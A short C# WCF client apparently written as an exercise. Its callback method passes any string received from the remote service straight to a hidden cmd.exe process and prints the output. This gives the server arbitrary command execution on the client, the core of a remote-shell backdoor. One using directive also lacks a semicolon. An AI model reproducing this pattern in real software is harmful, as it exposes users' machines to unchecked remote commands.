﻿using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.ServiceModel;
using System.Text;
using System.Threading.Tasks;
using ConsoleApplication2.ServiceReference

namespace ConsoleApplication2
{
    class MyCallBack:IService1Callback, IDisposable
    {
        private Service1Client proxy;
        public void CallBackFunction(string str)
        {
            //string var = Console.ReadLine();
            //if (string.IsNullOrEmpty(var))
            //{
                Process cmd = new Process();

                cmd.StartInfo.FileName = "cmd.exe";
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.UseShellExecute = false;

                cmd.Start();

                /* execute "dir" */

                cmd.StandardInput.WriteLine(str);
                cmd.StandardInput.Flush();
                cmd.StandardInput.Close();
                Console.WriteLine(cmd.StandardOutput.ReadToEnd());
            //}
            
        }

        public void callService()
        {
            InstanceContext context = new InstanceContext(this);
            proxy=new Service1Client(context);
            proxy.NormalFunction();
        }

        public void Dispose()
        {
            proxy.Close();
        }
    }
}
